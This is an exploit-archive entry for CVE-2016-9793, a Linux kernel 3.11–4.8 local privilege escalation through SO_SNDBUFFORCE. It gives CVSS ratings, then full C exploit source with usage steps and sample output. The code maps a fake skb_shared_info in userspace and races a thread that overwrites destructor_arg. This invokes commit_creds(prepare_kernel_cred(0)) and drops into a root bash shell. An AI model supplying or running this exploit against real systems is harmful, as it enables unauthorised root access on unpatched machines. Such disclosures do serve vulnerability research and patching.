Linux Kernel 3.11 < 4.8 0 SO_SNDBUFFORCE SO_RCVBUFFORCE Local Privilege Escalation

2017.05.12
Risk: High
Local: Yes
Remote: No
CWE: CWE-119


CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

// CAP_NET_ADMIN -> root LPE exploit for CVE-2016-9793 // No KASLR, SMEP or SMAP bypass included // Affected kernels: 3.11 -> 4.8 // Tested in QEMU only // https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793 // // Usage: // # gcc -pthread exploit.c -o exploit // # chown guest:guest exploit // # setcap cap_net_admin+ep ./exploit // # su guest // $ whoami // guest // $ ./exploit // [.] userspace payload mmapped at 0xfffff000 // [.] overwriting thread started // [.] sockets opened // [.] sock->sk_sndbuf set to fffffe00 // [.] writing to socket // [+] got r00t // # whoami // root // // Andrey Konovalov <andreyknvl@gmail.com> #define _GNU_SOURCE #include <sys/socket.h> #include <sys/stat.h> #include <sys/time.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/mman.h> #include <pthread.h> #include <signal.h> #include <stdarg.h> #include <stddef.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define COMMIT_CREDS 0xffffffff81079860ul #define PREPARE_KERNEL_CRED 0xffffffff81079b20ul typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS; _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED; void get_root(void) { commit_creds(prepare_kernel_cred(0)); } struct ubuf_info_t { uint64_t callback; // void (*callback)(struct ubuf_info *, bool) uint64_t ctx; // void * uint64_t desc; // unsigned long }; struct skb_shared_info_t { uint8_t nr_frags; // unsigned char uint8_t tx_flags; // __u8 uint16_t gso_size; // unsigned short uint16_t gso_segs; // unsigned short uint16_t gso_type; // unsigned short uint64_t frag_list; // struct sk_buff * uint64_t hwtstamps; // struct skb_shared_hwtstamps uint32_t tskey; // u32 uint32_t ip6_frag_id; // __be32 uint32_t dataref; // atomic_t uint64_t destructor_arg; // void * uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; }; // sk_sndbuf = 0xffffff00 => skb_shinfo(skb) = 0x00000000fffffed0 #define SNDBUF 0xffffff00 #define SHINFO 0x00000000fffffed0ul struct ubuf_info_t ubuf_info = {(uint64_t)&get_root, 0, 0}; //struct ubuf_info_t ubuf_info = {0xffffdeaddeadbeeful, 0, 0}; struct skb_shared_info_t *skb_shared_info = (struct skb_shared_info_t *)SHINFO; #define SKBTX_DEV_ZEROCOPY (1 << 3) void* skb_thr(void* arg) { while (1) { skb_shared_info->destructor_arg = (uint64_t)&ubuf_info; skb_shared_info->tx_flags |= SKBTX_DEV_ZEROCOPY; } } int sockets[2]; void *write_thr(void *arg) { // Write blocks until setsockopt(SO_SNDBUF). write(sockets[1], "\x5c", 1); if (getuid() == 0) { printf("[+] got r00t\n"); execl("/bin/bash", "bash", NULL); perror("execl()"); } printf("[-] something went wrong\n"); } int main() { void *addr; int rv; uint32_t sndbuf; addr = mmap((void *)(SHINFO & 0xfffffffffffff000ul), 0x1000ul, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); if (addr != (void *)(SHINFO & 0xfffffffffffff000ul)) { perror("mmap()"); exit(EXIT_FAILURE); } printf("[.] userspace payload mmapped at %p\n", addr); pthread_t skb_th; rv = pthread_create(&skb_th, 0, skb_thr, NULL); if (rv != 0) { perror("pthread_create()"); exit(EXIT_FAILURE); } usleep(10000); printf("[.] overwriting thread started\n"); rv = socketpair(AF_LOCAL, SOCK_STREAM, 0, &sockets[0]); if (rv != 0) { perror("socketpair()"); exit(EXIT_FAILURE); } printf("[.] sockets opened\n"); sndbuf = SNDBUF; rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUFFORCE, &sndbuf, sizeof(sndbuf)); if (rv != 0) { perror("setsockopt()"); exit(EXIT_FAILURE); } printf("[.] sock->sk_sndbuf set to %x\n", SNDBUF * 2); pthread_t write_th; rv = pthread_create(&write_th, 0, write_thr, NULL); if (rv != 0) { perror("pthread_create()"); exit(EXIT_FAILURE); } usleep(10000); printf("[.] writing to socket\n"); // Wake up blocked write. rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUF, &sndbuf, sizeof(sndbuf)); if (rv != 0) { perror("setsockopt()"); exit(EXIT_FAILURE); } usleep(10000); close(sockets[0]); close(sockets[1]); return 0; }


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